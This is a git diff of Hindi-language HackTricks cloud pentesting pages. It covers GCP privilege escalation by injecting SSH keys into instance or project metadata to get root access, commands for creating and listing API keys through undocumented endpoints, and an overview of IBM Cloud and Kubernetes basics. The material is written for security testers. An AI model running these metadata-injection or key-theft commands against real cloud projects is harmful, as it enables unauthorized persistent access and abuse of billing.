इसका एक महत्वपूर्ण घटक [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) है, जिसे **नियमित रूप से** इंस्टेंस मेटाडेटा एंडपॉइंट की **अधिकृत SSH सार्वजनिक कुंजियों** के लिए **अपडेट** की जांच करने के लिए डिज़ाइन किया गया है। इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और **स्थानीय सिस्टम में एकीकृत किया जाएगा**। कुंजी को एक **मौजूदा उपयोगकर्ता के `~/.ssh/authorized_keys` फ़ाइल** में जोड़ा जाएगा या `sudo` अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा, कुंजी के प्रारूप के आधार पर। और हमलावर होस्ट को समझौता करने में सक्षम होगा। -#### **मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें** +### **मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें** -1. **उदाहरण पर मौजूदा SSH कुंजियों की जांच करें:** +1. **इंस्टेंस पर मौजूदा SSH कुंजियों की जांच करें:** -- मौजूदा SSH कुंजियों को खोजने के लिए उदाहरण और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग `metadata` के तहत होगा, विशेष रूप से `ssh-keys` कुंजी के तहत। +- मौजूदा SSH कुंजियों को खोजने के लिए इंस्टेंस और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग `metadata` के तहत होगा, विशेष रूप से `ssh-keys` कुंजी के तहत। ```bash gcloud compute instances describe [INSTANCE] --zone [ZONE] ``` -- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग होता है। +- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग किया जाता है। 2. **SSH कुंजी मेटाडेटा के लिए एक टेक्स्ट फ़ाइल तैयार करें:** -- उपयोगकर्ता नाम और उनके संबंधित SSH कुंजियों के विवरण को `meta.txt` नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है। +- उपयोगकर्ता नाम और उनकी संबंधित SSH कुंजियों के विवरण को `meta.txt` नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है। 3. **लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (`alice` इस उदाहरण में):** - `ssh-keygen` कमांड का उपयोग करके एक नई SSH कुंजी उत्पन्न करें, यह सुनिश्चित करते हुए कि टिप्पणी फ़ील्ड (`-C`) लक्षित उपयोगकर्ता नाम से मेल खाता है। @@ -36,26 +34,26 @@ gcloud compute instances describe [INSTANCE] --zone [ZONE] ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub ``` -- नई सार्वजनिक कुंजी को `meta.txt` में जोड़ें, उदाहरण के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए। +- नई सार्वजनिक कुंजी को `meta.txt` में जोड़ें, इंस्टेंस के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए। -4. **उदाहरण की SSH कुंजी मेटाडेटा को अपडेट करें:** +4. **इंस्टेंस की SSH कुंजी मेटाडेटा को अपडेट करें:** -- `gcloud compute instances add-metadata` कमांड का उपयोग करके उदाहरण पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें। +- `gcloud compute instances add-metadata` कमांड का उपयोग करके इंस्टेंस पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें। ```bash gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt ``` -5. **नई SSH कुंजी का उपयोग करके उदाहरण तक पहुँचें:** +5. **नई SSH कुंजी का उपयोग करके इंस्टेंस तक पहुँचें:** -- लक्षित उपयोगकर्ता (`alice` इस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ उदाहरण से कनेक्ट करें। +- लक्षित उपयोगकर्ता (`alice` इस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ इंस्टेंस से कनेक्ट करें। ```bash ssh -i ./key alice@localhost sudo id ``` -#### **एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें** +### **एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें** यदि कोई दिलचस्प उपयोगकर्ता नहीं मिलता है, तो एक नया उपयोगकर्ता बनाया जा सकता है जिसे `sudo` अनुमतियाँ दी जाएंगी: ```bash @@ -75,21 +73,21 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k # ssh to the new account ssh -i ./key "$NEWUSER"@localhost ``` -#### SSH keys at project level +### SSH keys at project level -क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक SSH पहुंच को बढ़ाने के लिए **परियोजना स्तर पर SSH कुंजी लागू करना** संभव है। यह दृष्टिकोण परियोजना के भीतर किसी भी उदाहरण तक SSH पहुंच की अनुमति देता है जिसने स्पष्ट रूप से परियोजना-व्यापी SSH कुंजी को अवरुद्ध नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है: +SSH एक्सेस के दायरे को क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक बढ़ाना संभव है **प्रोजेक्ट स्तर पर SSH कुंजी लागू करके**। यह दृष्टिकोण प्रोजेक्ट के भीतर किसी भी इंस्टेंस को SSH एक्सेस की अनुमति देता है जिसने स्पष्ट रूप से प्रोजेक्ट-व्यापी SSH कुंजी को ब्लॉक नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है: -1. **परियोजना स्तर पर SSH कुंजी लागू करें:** +1. **प्रोजेक्ट स्तर पर SSH कुंजी लागू करें:** -- `gcloud compute project-info add-metadata` कमांड का उपयोग करके `meta.txt` से SSH कुंजी को परियोजना की मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी परियोजना में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "ब्लॉक प्रोजेक्ट-व्यापी SSH कुंजी" विकल्प सक्षम नहीं है। +- `gcloud compute project-info add-metadata` कमांड का उपयोग करके `meta.txt` से SSH कुंजी को प्रोजेक्ट के मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी प्रोजेक्ट में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "Block project-wide SSH keys" विकल्प सक्षम नहीं है। ```bash gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt ``` -2. **परियोजना-व्यापी कुंजी का उपयोग करके उदाहरणों में SSH करें:** -- परियोजना-व्यापी SSH कुंजी के साथ, आप परियोजना के भीतर किसी भी उदाहरण में SSH कर सकते हैं। जो उदाहरण परियोजना-व्यापी कुंजी को अवरुद्ध नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे पहुंच प्राप्त होगी। -- किसी उदाहरण में SSH करने का एक सीधा तरीका `gcloud compute ssh [INSTANCE]` कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और परियोजना स्तर पर सेट की गई SSH कुंजी का उपयोग करके पहुंच प्राप्त करने का प्रयास करता है। +2. **प्रोजेक्ट-व्यापी कुंजी का उपयोग करके इंस्टेंस में SSH करें:** +- प्रोजेक्ट-व्यापी SSH कुंजी के साथ, आप प्रोजेक्ट के भीतर किसी भी इंस्टेंस में SSH कर सकते हैं। जो इंस्टेंस प्रोजेक्ट-व्यापी कुंजी को ब्लॉक नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे एक्सेस मिलेगा। +- किसी इंस्टेंस में SSH करने का एक सीधा तरीका `gcloud compute ssh [INSTANCE]` कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और प्रोजेक्ट स्तर पर सेट की गई SSH कुंजी का उपयोग करके एक्सेस करने का प्रयास करता है। ## References diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md index ae0fcbbbb..25a0b44a3 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md @@ -4,9 +4,9 @@ ## serviceusage -निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, इसे दस्तावेज़ों से नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और **कोटा** और **बिलिंग** के लिए आपके प्रोजेक्ट के साथ API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_ +निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ से यह नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और आपके प्रोजेक्ट के लिए कोटा और **बिलिंग** के लिए API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_ -इसलिए, एक API कुंजी के साथ आप उस कंपनी को अपने API के उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे। +इसलिए, एक API कुंजी के साथ आप उस कंपनी को API के आपके उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे। अन्य अनुमतियों और API कुंजी उत्पन्न करने के तरीकों को जानने के लिए देखें: @@ -22,13 +22,13 @@ curl -XPOST "https://apikeys.clients6.google.com/v1/projects/ ``` ### `serviceusage.apiKeys.list` -एक और अप्रलेखित API मिली जो पहले से बनाए गए API कुंजी की सूची बनाने के लिए है (API कुंजी प्रतिक्रिया में दिखाई देती हैं): +एक और अप्रलेखित API मिली जो पहले से बनाए गए API कुंजियों की सूची बनाने के लिए है (API कुंजियाँ प्रतिक्रिया में दिखाई देती हैं): ```bash curl "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)" ``` ### **`serviceusage.services.enable`** , **`serviceusage.services.use`** -इन अनुमतियों के साथ, एक हमलावर प्रोजेक्ट में नए सेवाओं को सक्षम और उपयोग कर सकता है। यह एक **हमलावर को admin या cloudidentity जैसी सेवाओं को सक्षम करने की अनुमति दे सकता है** ताकि वह Workspace जानकारी तक पहुँचने की कोशिश कर सके, या अन्य सेवाओं के माध्यम से दिलचस्प डेटा तक पहुँच सके। +इन अनुमतियों के साथ, एक हमलावर प्रोजेक्ट में नई सेवाओं को सक्षम और उपयोग कर सकता है। इससे एक **हमलावर को admin या cloudidentity जैसी सेवाओं को सक्षम करने की अनुमति मिल सकती है** ताकि वह Workspace की जानकारी तक पहुँचने की कोशिश कर सके, या अन्य सेवाओं के माध्यम से दिलचस्प डेटा तक पहुँच सके। ## **References** @@ -38,16 +38,20 @@ curl "https://apikeys.clients6.google.com/v1/projects//apiKey Support HackTricks and get benefits! -क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** का अधिकार चाहते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें! +क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** की इच्छा रखते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें! [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में शामिल हों या **Twitter** पर मुझे **फॉलो करें** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\* **.** + + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/README.md b/src/pentesting-cloud/gcp-security/gcp-services/README.md index 40ff648cf..6fae2c94d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/README.md @@ -1 +1,3 @@ # GCP - सेवाएँ + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/ibm-cloud-pentesting/README.md b/src/pentesting-cloud/ibm-cloud-pentesting/README.md index 8d7b02bb5..49e55e109 100644 --- a/src/pentesting-cloud/ibm-cloud-pentesting/README.md +++ b/src/pentesting-cloud/ibm-cloud-pentesting/README.md @@ -1,29 +1,27 @@ # IBM Cloud Pentesting -## IBM Cloud Pentesting - {{#include ../../banners/hacktricks-training.md}} -### IBM क्लाउड क्या है? (By chatGPT) +## IBM क्लाउड क्या है? (By chatGPT) -IBM Cloud, IBM द्वारा एक क्लाउड कंप्यूटिंग प्लेटफॉर्म, विभिन्न क्लाउड सेवाएँ प्रदान करता है जैसे कि इन्फ्रास्ट्रक्चर एज़ ए सर्विस (IaaS), प्लेटफॉर्म एज़ ए सर्विस (PaaS), और सॉफ़्टवेयर एज़ ए सर्विस (SaaS)। यह ग्राहकों को अनुप्रयोगों को तैनात और प्रबंधित करने, डेटा संग्रहण और विश्लेषण को संभालने, और क्लाउड में वर्चुअल मशीनों को संचालित करने की अनुमति देता है। +IBM Cloud, IBM द्वारा एक क्लाउड कंप्यूटिंग प्लेटफॉर्म, विभिन्न क्लाउड सेवाएँ प्रदान करता है जैसे कि इन्फ्रास्ट्रक्चर एज़ अ सर्विस (IaaS), प्लेटफॉर्म एज़ अ सर्विस (PaaS), और सॉफ़्टवेयर एज़ अ सर्विस (SaaS)। यह ग्राहकों को अनुप्रयोगों को तैनात और प्रबंधित करने, डेटा संग्रहण और विश्लेषण करने, और क्लाउड में वर्चुअल मशीनों को संचालित करने की अनुमति देता है। जब इसे Amazon Web Services (AWS) के साथ तुलना की जाती है, तो IBM Cloud कुछ विशिष्ट विशेषताएँ और दृष्टिकोण प्रदर्शित करता है: -1. **फोकस**: IBM Cloud मुख्य रूप से उद्यम ग्राहकों की सेवा करता है, उनके विशिष्ट आवश्यकताओं के लिए डिज़ाइन की गई सेवाओं का एक सूट प्रदान करता है, जिसमें सुरक्षा और अनुपालन उपायों को बढ़ाया गया है। इसके विपरीत, AWS विविध ग्राहकों के लिए क्लाउड सेवाओं का एक विस्तृत स्पेक्ट्रम प्रस्तुत करता है। -2. **हाइब्रिड क्लाउड समाधान**: IBM Cloud और AWS दोनों हाइब्रिड क्लाउड सेवाएँ प्रदान करते हैं, जो ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर को उनकी क्लाउड सेवाओं के साथ एकीकृत करने की अनुमति देते हैं। हालाँकि, प्रत्येक द्वारा प्रदान की गई विधि और सेवाएँ भिन्न होती हैं। +1. **फोकस**: IBM Cloud मुख्य रूप से उद्यम ग्राहकों की सेवा करता है, उनके विशिष्ट आवश्यकताओं के लिए डिज़ाइन की गई सेवाओं का एक सूट प्रदान करता है, जिसमें सुरक्षा और अनुपालन उपायों में सुधार शामिल है। इसके विपरीत, AWS विविध ग्राहकों के लिए क्लाउड सेवाओं का एक विस्तृत स्पेक्ट्रम प्रस्तुत करता है। +2. **हाइब्रिड क्लाउड समाधान**: IBM Cloud और AWS दोनों हाइब्रिड क्लाउड सेवाएँ प्रदान करते हैं, जो ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर को उनकी क्लाउड सेवाओं के साथ एकीकृत करने की अनुमति देते हैं। हालाँकि, प्रत्येक द्वारा प्रदान की गई पद्धति और सेवाएँ भिन्न होती हैं। 3. **आर्टिफिशियल इंटेलिजेंस और मशीन लर्निंग (AI & ML)**: IBM Cloud विशेष रूप से AI और ML में अपनी व्यापक और एकीकृत सेवाओं के लिए जाना जाता है। AWS भी AI और ML सेवाएँ प्रदान करता है, लेकिन IBM के समाधान अधिक व्यापक और इसके क्लाउड प्लेटफॉर्म में गहराई से अंतर्निहित माने जाते हैं। 4. **उद्योग-विशिष्ट समाधान**: IBM Cloud विशेष उद्योगों जैसे वित्तीय सेवाएँ, स्वास्थ्य देखभाल, और सरकार पर ध्यान केंद्रित करने के लिए पहचाना जाता है, जो अनुकूलित समाधान प्रदान करता है। AWS विभिन्न उद्योगों की एक विस्तृत श्रृंखला की सेवा करता है लेकिन IBM Cloud के समान गहराई में उद्योग-विशिष्ट समाधान नहीं हो सकते हैं। -#### बुनियादी जानकारी +### बुनियादी जानकारी -IAM और हायरार्की के बारे में कुछ बुनियादी जानकारी के लिए देखें: +IAM और पदानुक्रम के बारे में कुछ बुनियादी जानकारी के लिए देखें: {{#ref}} ibm-basic-information.md {{#endref}} -### SSRF +## SSRF जानें कि आप IBM के मेटाडेटा एंडपॉइंट तक कैसे पहुँच सकते हैं: diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md b/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md index 76cd9ceb5..aecbc41b7 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md @@ -1,7 +1,5 @@ # Kubernetes Basics -## Kubernetes Basics - {{#include ../../banners/hacktricks-training.md}} **इस पृष्ठ के मूल लेखक हैं** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(उनका मूल पोस्ट पढ़ें** [**यहां**](https://sickrov.github.io)**)** @@ -11,7 +9,7 @@ ### Kubernetes क्या करता है? - कंटेनर/को कंटेनर इंजन में चलाने की अनुमति देता है। -- शेड्यूल कंटेनरों के मिशन को कुशल बनाता है। +- शेड्यूल कंटेनरों को मिशन कुशल बनाता है। - कंटेनरों को जीवित रखता है। - कंटेनर संचार की अनुमति देता है। - तैनाती तकनीकों की अनुमति देता है। @@ -22,32 +20,32 @@ ![](https://sickrov.github.io/media/Screenshot-68.jpg) - **Node**: ऑपरेटिंग सिस्टम जिसमें पॉड या पॉड्स होते हैं। -- **Pod**: एक कंटेनर या कई कंटेनरों के चारों ओर लपेटने वाला। एक पॉड में केवल एक एप्लिकेशन होना चाहिए (इसलिए आमतौर पर, एक पॉड केवल 1 कंटेनर चलाता है)। पॉड वह तरीका है जिससे Kubernetes कंटेनर तकनीक को अमूर्त करता है। -- **Service**: प्रत्येक पॉड के पास नोड के आंतरिक रेंज से 1 आंतरिक **IP पता** होता है। हालाँकि, इसे एक सेवा के माध्यम से भी उजागर किया जा सकता है। **सेवा का भी एक IP पता है** और इसका लक्ष्य पॉड्स के बीच संचार बनाए रखना है ताकि यदि एक मर जाता है तो **नया प्रतिस्थापन** (एक अलग आंतरिक IP के साथ) **उसी सेवा के IP पर उपलब्ध होगा**। इसे आंतरिक या बाहरी के रूप में कॉन्फ़िगर किया जा सकता है। सेवा तब **लोड बैलेंसर के रूप में कार्य करती है जब 2 पॉड्स एक ही सेवा से जुड़े होते हैं**।\ +- **Pod**: एक कंटेनर या कई कंटेनरों के चारों ओर लपेटने वाला। एक पॉड में केवल एक एप्लिकेशन होना चाहिए (इसलिए आमतौर पर, एक पॉड केवल 1 कंटेनर चलाता है)। पॉड वह तरीका है जिससे Kubernetes चल रहे कंटेनर तकनीक को अमूर्त करता है। +- **Service**: प्रत्येक पॉड का 1 आंतरिक **IP पता** होता है जो नोड की आंतरिक रेंज से होता है। हालाँकि, इसे एक सेवा के माध्यम से भी उजागर किया जा सकता है। **सेवा का भी एक IP पता होता है** और इसका लक्ष्य पॉड्स के बीच संचार बनाए रखना है ताकि यदि एक मर जाता है तो **नया प्रतिस्थापन** (एक अलग आंतरिक IP के साथ) **सेवा के उसी IP में उपलब्ध होगा**। इसे आंतरिक या बाहरी के रूप में कॉन्फ़िगर किया जा सकता है। सेवा तब **लोड बैलेंसर के रूप में कार्य करती है जब 2 पॉड्स उसी सेवा से जुड़े होते हैं**।\ जब एक **सेवा** **बनाई जाती है** तो आप प्रत्येक सेवा के अंत बिंदुओं को `kubectl get endpoints` चलाकर पा सकते हैं। - **Kubelet**: प्राथमिक नोड एजेंट। वह घटक जो नोड और kubectl के बीच संचार स्थापित करता है, और केवल पॉड्स चला सकता है (API सर्वर के माध्यम से)। Kubelet उन कंटेनरों का प्रबंधन नहीं करता है जो Kubernetes द्वारा नहीं बनाए गए थे। -- **Kube-proxy**: यह apiserver और नोड के बीच संचार (सेवाओं) का प्रभारी है। आधार नोड्स के लिए IPtables है। सबसे अनुभवी उपयोगकर्ता अन्य विक्रेताओं से अन्य kube-proxies स्थापित कर सकते हैं। -- **Sidecar container**: साइडकार कंटेनर वे कंटेनर हैं जो पॉड में मुख्य कंटेनर के साथ चलने चाहिए। यह साइडकार पैटर्न मौजूदा कंटेनरों की कार्यक्षमता को बढ़ाता और बढ़ाता है बिना उन्हें बदले। आजकल, हम जानते हैं कि हम एप्लिकेशन को कहीं भी चलाने के लिए सभी निर्भरताओं को लपेटने के लिए कंटेनर तकनीक का उपयोग करते हैं। एक कंटेनर केवल एक काम करता है और वह काम बहुत अच्छा करता है। +- **Kube-proxy**: वह सेवा है जो apiserver और नोड के बीच संचार (सेवाएं) का प्रबंधन करती है। आधार नोड्स के लिए IPtables है। सबसे अनुभवी उपयोगकर्ता अन्य विक्रेताओं से अन्य kube-proxies स्थापित कर सकते हैं। +- **Sidecar container**: साइडकार कंटेनर वे कंटेनर हैं जो पॉड में मुख्य कंटेनर के साथ चलने चाहिए। यह साइडकार पैटर्न मौजूदा कंटेनरों की कार्यक्षमता को बढ़ाता और बढ़ाता है बिना उन्हें बदले। आजकल, हम जानते हैं कि हम कंटेनर तकनीक का उपयोग सभी निर्भरताओं को लपेटने के लिए करते हैं ताकि एप्लिकेशन कहीं भी चल सके। एक कंटेनर केवल एक काम करता है और वह काम बहुत अच्छा करता है। - **Master process:** - **Api Server:** यह वह तरीका है जिससे उपयोगकर्ता और पॉड्स मास्टर प्रक्रिया के साथ संवाद करते हैं। केवल प्रमाणित अनुरोधों की अनुमति दी जानी चाहिए। - **Scheduler**: शेड्यूलिंग का तात्पर्य यह सुनिश्चित करने से है कि पॉड्स को नोड्स से मिलाया जाए ताकि Kubelet उन्हें चला सके। इसमें यह तय करने के लिए पर्याप्त बुद्धिमत्ता है कि कौन सा नोड अधिक उपलब्ध संसाधनों के साथ है और नए पॉड को उसे सौंपता है। ध्यान दें कि शेड्यूलर नए पॉड्स शुरू नहीं करता है, यह केवल नोड के अंदर चल रहे Kubelet प्रक्रिया के साथ संवाद करता है, जो नए पॉड को लॉन्च करेगा। -- **Kube Controller manager**: यह संसाधनों की जांच करता है जैसे कि रिप्लिका सेट या तैनाती यह जांचने के लिए कि, उदाहरण के लिए, सही संख्या में पॉड्स या नोड्स चल रहे हैं। यदि कोई पॉड गायब है, तो यह एक नया शुरू करने के लिए शेड्यूलर के साथ संवाद करेगा। यह API के लिए प्रतिकृति, टोकन और खाता सेवाओं को नियंत्रित करता है। +- **Kube Controller manager**: यह संसाधनों जैसे कि रिप्लिका सेट या तैनातियों की जांच करता है यह देखने के लिए कि, उदाहरण के लिए, सही संख्या में पॉड्स या नोड्स चल रहे हैं। यदि कोई पॉड गायब है, तो यह एक नया शुरू करने के लिए शेड्यूलर के साथ संवाद करेगा। यह API के लिए प्रतिकृति, टोकन और खाता सेवाओं को नियंत्रित करता है। - **etcd**: डेटा भंडारण, स्थायी, सुसंगत, और वितरित। यह Kubernetes का डेटाबेस है और कुंजी-मूल्य भंडारण है जहाँ यह क्लस्टरों की पूरी स्थिति को रखता है (यहाँ प्रत्येक परिवर्तन लॉग किया जाता है)। शेड्यूलर या कंट्रोलर प्रबंधक जैसे घटक इस डेटा पर निर्भर करते हैं यह जानने के लिए कि कौन से परिवर्तन हुए हैं (नोड्स के उपलब्ध संसाधन, चल रहे पॉड्स की संख्या...)। - **Cloud controller manager**: यह प्रवाह नियंत्रण और अनुप्रयोगों के लिए विशिष्ट नियंत्रक है, यानी: यदि आपके पास AWS या OpenStack में क्लस्टर हैं। -ध्यान दें कि चूंकि कई नोड्स (कई पॉड्स चला रहे हैं) हो सकते हैं, इसलिए कई मास्टर प्रक्रियाएँ भी हो सकती हैं जिनका एपीआई सर्वर तक पहुंच लोड संतुलित होती है और उनका etcd समन्वयित होता है। +ध्यान दें कि चूंकि कई नोड्स (कई पॉड्स चला रहे हैं) हो सकते हैं, इसलिए कई मास्टर प्रक्रियाएँ भी हो सकती हैं जिनका Api सर्वर तक पहुंच लोड संतुलित होती है और उनका etcd समन्वयित होता है। **Volumes:** जब एक पॉड डेटा बनाता है जो पॉड के गायब होने पर नहीं खोना चाहिए, तो इसे एक भौतिक वॉल्यूम में संग्रहीत किया जाना चाहिए। **Kubernetes एक पॉड में डेटा को स्थायी बनाने के लिए एक वॉल्यूम संलग्न करने की अनुमति देता है**। वॉल्यूम स्थानीय मशीन में या **दूरस्थ भंडारण** में हो सकता है। यदि आप विभिन्न भौतिक नोड्स में पॉड्स चला रहे हैं, तो आपको एक दूरस्थ भंडारण का उपयोग करना चाहिए ताकि सभी पॉड्स इसे एक्सेस कर सकें। -**अन्य कॉन्फ़िगरेशन:** +**Other configurations:** -- **ConfigMap**: आप सेवाओं तक पहुँचने के लिए **URLs** कॉन्फ़िगर कर सकते हैं। पॉड यहाँ से डेटा प्राप्त करेगा यह जानने के लिए कि बाकी सेवाओं (पॉड्स) के साथ कैसे संवाद करना है। ध्यान दें कि यह क्रेडेंशियल्स को सहेजने के लिए अनुशंसित स्थान नहीं है! +- **ConfigMap**: आप **सेवाओं** तक पहुँचने के लिए **URLs** कॉन्फ़िगर कर सकते हैं। पॉड यहाँ से डेटा प्राप्त करेगा यह जानने के लिए कि बाकी सेवाओं (पॉड्स) के साथ कैसे संवाद करना है। ध्यान दें कि यह क्रेडेंशियल्स को सहेजने के लिए अनुशंसित स्थान नहीं है! - **Secret**: यह **गुप्त डेटा** जैसे पासवर्ड, API कुंजी... को B64 में एन्कोड करने के लिए **स्टोर करने का स्थान** है। पॉड इस डेटा को आवश्यक क्रेडेंशियल्स का उपयोग करने के लिए एक्सेस कर सकेगा। -- **Deployments**: यह वह स्थान है जहाँ Kubernetes द्वारा चलाए जाने वाले घटकों को इंगित किया जाता है। एक उपयोगकर्ता आमतौर पर पॉड्स के साथ सीधे काम नहीं करेगा, पॉड्स को **ReplicaSets** (एक समान पॉड्स की संख्या) में अमूर्त किया जाता है, जिन्हें तैनातियों के माध्यम से चलाया जाता है। ध्यान दें कि तैनातियाँ **stateless** अनुप्रयोगों के लिए होती हैं। तैनाती के लिए न्यूनतम कॉन्फ़िगरेशन नाम और चलाने के लिए छवि है। +- **Deployments**: यह वह स्थान है जहाँ Kubernetes द्वारा चलाए जाने वाले घटकों को इंगित किया जाता है। एक उपयोगकर्ता आमतौर पर सीधे पॉड्स के साथ काम नहीं करेगा, पॉड्स को **ReplicaSets** (एक ही पॉड्स की संख्या जो दोहराई जाती है) में अमूर्त किया जाता है, जिन्हें तैनातियों के माध्यम से चलाया जाता है। ध्यान दें कि तैनातियाँ **stateless** अनुप्रयोगों के लिए होती हैं। तैनाती के लिए न्यूनतम कॉन्फ़िगरेशन नाम और चलाने के लिए छवि है। - **StatefulSet**: यह घटक विशेष रूप से **डेटाबेस** जैसे अनुप्रयोगों के लिए है जिन्हें **एक ही भंडारण** तक पहुँचने की आवश्यकता होती है। -- **Ingress**: यह वह कॉन्फ़िगरेशन है जिसका उपयोग **URL के साथ अनुप्रयोग को सार्वजनिक रूप से उजागर करने के लिए किया जाता है**। ध्यान दें कि यह बाहरी सेवाओं का उपयोग करके भी किया जा सकता है, लेकिन यह अनुप्रयोग को उजागर करने का सही तरीका है। +- **Ingress**: यह वह कॉन्फ़िगरेशन है जिसका उपयोग **URL के साथ एप्लिकेशन को सार्वजनिक रूप से उजागर करने के लिए** किया जाता है। ध्यान दें कि 